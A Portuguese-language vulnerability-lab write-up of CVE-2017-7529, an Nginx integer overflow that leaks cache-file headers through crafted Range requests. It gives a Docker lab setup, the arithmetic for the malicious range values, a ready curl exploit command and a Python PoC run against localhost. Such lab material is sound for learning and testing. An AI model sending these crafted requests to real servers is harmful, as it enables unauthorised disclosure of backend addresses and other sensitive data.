
Exploit de prova de conceito para estouro de inteiro no Nginx (CVE-2017-7529) que permite a divulgação de cabeçalhos de cache por meio de solicitações de intervalo forjadas, com ambiente de laboratório baseado em Docker e script de POC em Python.
Ao usar o módulo padrão do nginx, um atacante pode obter informações do cabeçalho do arquivo de cache na resposta enviando uma requisição de header contendo um campo range maliciosamente construído. Em algumas configurações, o cabeçalho do arquivo de cache pode conter o endereço IP do servidor backend ou outras informações sensíveis, resultando em vazamento de informações.
Esta vulnerabilidade afeta todas as versões do Nginx de 0.5.6 a 1.13.2 com módulos de configuração padrão. Basta que o cache esteja ativado para que um atacante possa enviar requisições maliciosas e realizar ataques remotos, causando vazamento de informações.
Quando o servidor Nginx utiliza cache de proxy, um atacante pode obter o IP real do backend do servidor ou outras informações sensíveis ao explorar esta vulnerabilidade.
Através da nossa análise, determinamos que esta vulnerabilidade tem baixa dificuldade de exploração, podendo ser classificada como uma vulnerabilidade do tipo low-hanging-fruit, e também possui certo valor de exploração em ataques reais na rede.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
O
8000antes de-p 8000:80representa a porta da máquina física e pode ser definido livremente.
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Veja Content-Length: 16585, encontre um valor maior que este número, por exemplo 17208. O segundo valor de range é 0x8000000000000000-17208, ou seja, 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Veja o resultado:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png